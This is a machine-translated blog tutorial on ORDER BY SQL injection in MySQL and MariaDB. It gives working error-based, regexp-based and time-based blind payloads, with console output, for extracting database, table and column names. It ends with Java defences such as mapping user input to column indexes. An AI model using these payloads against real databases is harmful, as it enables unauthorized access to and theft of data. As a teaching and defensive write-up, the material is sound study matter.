当前位置:网站首页>Order by injection

Order by injection

2022-07-02 11:22:00 Little mo God and his

Order by Inject

order by Injection as the name suggests, controllable parameters are oder by after , It may appear in the sorting function , Imagine a function that can choose the ranking list according to the parameters entered by the user , For example, by the name of the product select * from test01 order by [name]; Or through the price of goods select * from test01 order by [price];.

for example select * from test01 order by [args];

You can test whether there is an injection point through the following methods :

Use error reporting

You can construct some error reporting statements to get relevant information

regexp

select 1 regexp if(1=1,1,0x00) # Normal display 
select 1 regexp if(1=2,1,0x00) # There is an error 

This is in 10.5.12-MariaDB-1 Not anymore , And in the mysql5.7 Can also be used

#10.5.12-MariaDB-1 All of them are normal 
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

#mysql5.7.18 May be an error 
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jackk    | 678910 |
|  4 | jack     | 123456 |
+----+----------+--------+
3 rows in set (0.00 sec)

mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

updatexml

This is ok

updatexml(1,if(1=1,1,user()),1) # Normal display 
updatexml(1,if(1=2,1,user()),1) # There is an error 

extractvalue

This is also easy to use

extractvalue(1,if(1=1,1,user()),1) # Normal display 
extractvalue(1,if(1=2,1,user()),1) # There is an error 

When an error is reported, the display is BAN You can consider Time blind note .

Blind injection of time

Note that if you directly if(1=2,1,sleep(2)),sleep Time will become 2* The number of records in the current table , It will cause a certain denial of service attack on the server . therefore sleep The time can be set smaller .

if(1=1,1,sleep(time)) # Normal display 
if(1=2,1,sleep(time)) # sleep  (time* Items in table )  second 

Data guessing

The core of this part is where Injection makes no difference .

Guess the database name

#mysql5.7.18
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jackk    | 678910 |
|  4 | jack     | 123456 |
+----+----------+--------+

And my database 10.5.12-MariaDB-1 Cannot be used regexp To guess , So it can be used updexml and extractvalue.

#mysql5.7.18
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

In fact, there is no difference in using ideas , Then the following online payload Only in mysql5.5 success , Up 5.7 No way. .

Guess the name of the watch

select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));

Guess the names

select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));

The reasons are as follows payload Used in the previous version NULL Instead of reporting an error .

mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
+------------------------------------+
|                                  1 |
+------------------------------------+
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
+------------------------------------+
|                               NULL |
+------------------------------------+

and select * from table order by NULL and select * from table order by 1 The result is the same .

MariaDB [mysql]> select * from test01 order by NULL;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

MariaDB [mysql]> select * from test01 order by 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

produce order by Why

order by The parameter after cannot be wrapped in single quotation marks , This will be parsed into a simple string .

mysql> select * from test01 order by passwd;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  4 | jack     | 123456 |
|  2 | jackk    | 678910 |
+----+----------+--------+

mysql> select * from test01 order by 'passwd';
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jackk    | 678910 |
|  4 | jack     | 123456 |
+----+----------+--------+

You can find select * from test01 order by 'passwd' Not sorted as expected .

In precompiling, if you are directly in select * from test01 order by ? of use passwd Occupying a seat will passwd As a string and become select * from test01 order by 'passwd'.

Therefore, string splicing will be used , And with string splicing SQL Inject The possibility of .

String orderString = "passwd";
String sql01 = "select * from test01 order by" + orderString;
PreparedStatement preSql01 = conn.prepareStatement(sql01);

At this time, the precompiled translation is actually equivalent to many times at one stroke , Our malicious input will also be precompiled .

The first means of defense is the common filter check , Restrict illegal input . The other is to use Serial number Instead of Field name .

for example passwd It's No 3 We can use select * from test01 order by 3 To replace .

As for programming, it is also very simple , You can set a enumeration perhaps MAP Variable , Then take the user input passwd Compare and return Serial number , Then take Serial number precompile .

int index = map.get("passwd"); // from map Get the corresponding serial number 
String sql02 = "select * from test01 order by ?";
PreparedStatement preSql02 = conn.prepareStatement(sql02);
preSql02.setInt(1,index);
原网站

版权声明
本文为[Little mo God and his]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/183/202207020820263667.html